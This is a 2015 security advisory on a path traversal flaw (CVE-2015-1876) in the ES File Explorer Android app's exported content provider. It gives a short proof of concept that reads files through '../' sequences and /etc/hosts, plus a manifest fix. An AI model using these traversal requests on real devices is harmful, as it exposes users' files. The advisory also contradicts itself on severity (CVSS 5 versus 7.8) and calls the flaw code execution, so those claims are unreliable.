ES File Explorer Path Traversal

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Document Title: =============== ES File Explorer v3.2.4.1 - Path Traversal Vulnerability References (Source): ==================== CVE-ID: ======= CVE-2015-1876 Release Date: ============= 2015-02-17 Vulnerability Laboratory ID (VL-ID): ==================================== 1435 Common Vulnerability Scoring System: ==================================== 7.8 Product & Service Introduction: =============================== ES File Explorer is a free all-in-one including a file manager & application & tasks, support for online storage spaces (Dropbox, Google Drive, SkyDrive,, Sugarsync, Yandex, Amazon S3), FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer. It allows Android users around the world to manage their resources for free; you can see the files on your phone, access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G, EDGE or WiFi, and share with friends. (Copy of the Vendor Homepage: ) Abstract Advisory Information: ============================== An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application. Vulnerability Disclosure Timeline: ================================== 2015-02-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ES APP GROUP Product: ES File Explorer - Mobile Web Application (Android) Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application. The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device. The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service and the request is http. The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation of the vulnerability results in mobile application compromise Request Method(s): [+] POST & Sync Vulnerable Module(s): [+] content://com.estrongs.files/ Vulnerable Parameter(s): [+] path Affected Module(s): [+] content://com.estrongs.files/system/ Proof of Concept (PoC): ======================= The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- Package: Application Label: ES File Explorer Process Name: Version: Data Directory: /data/data/ APK Path: /data/app/ UID: 10235 GID: [3003, 3002, 3001, 1015, 1028] Permissions: - android.permission.WRITE_SETTINGS - android.permission.CHANGE_WIFI_STATE - android.permission.CHANGE_NETWORK_STATE - android.permission.INTERNET - android.permission.SET_WALLPAPER - android.permission.ACCESS_NETWORK_STATE - android.permission.ACCESS_WIFI_STATE - - - android.permission.BLUETOOTH - android.permission.BLUETOOTH_ADMIN - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.WRITE_MEDIA_STORAGE - android.permission.WAKE_LOCK - android.permission.READ_PHONE_STATE - android.permission.ACCESS_SUPERUSER - android.permission.VIBRATE - .PERMISSION - android.permission.CHANGE_WIFI_MULTICAST_STATE - android.permission.SYSTEM_ALERT_WINDOW - android.permission.GET_TASKS - android.permission.READ_EXTERNAL_STORAGE Defines Permissions: - None Activities: Broadcast(Receiver):$MediaButtonReceiver Services: Permission: null Providers: Authority: com.estrongs.files Read Permission: null Write Permission: null Content Provider: Multiprocess Allowed: False Grant Uri Permissions: True read content://com.estrongs.files/system/../../../../../sdcard/<file> Read file hosts read content://com.estrongs.files/system/etc/hosts localhost Solution - Fix & Patch: ======================= In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set. Vulnerable code: com.estrongs.files Read Permission: null Write Permission: null android:exported="true" change "true" to "false" When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it. <provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name=""/> Fixed code: <provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name=""/> read content://com.estrongs.files/system/etc/hosts Permission Denial: opening provider ider from ProcessRecord{4192d1a0} (pid=32050, uid =10216) that is not exported from uid 10235 Security Risk: ============== The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8) Credits & Authors: ================== Hadji Samir [] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: - - Contact: - - Section: - - Social:!/vuln_lab - - Feeds: - - Programs: - - Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact ( or to get a permission. Copyright &#169; 2015 | Vulnerability Laboratory - [Evolution Security GmbH]


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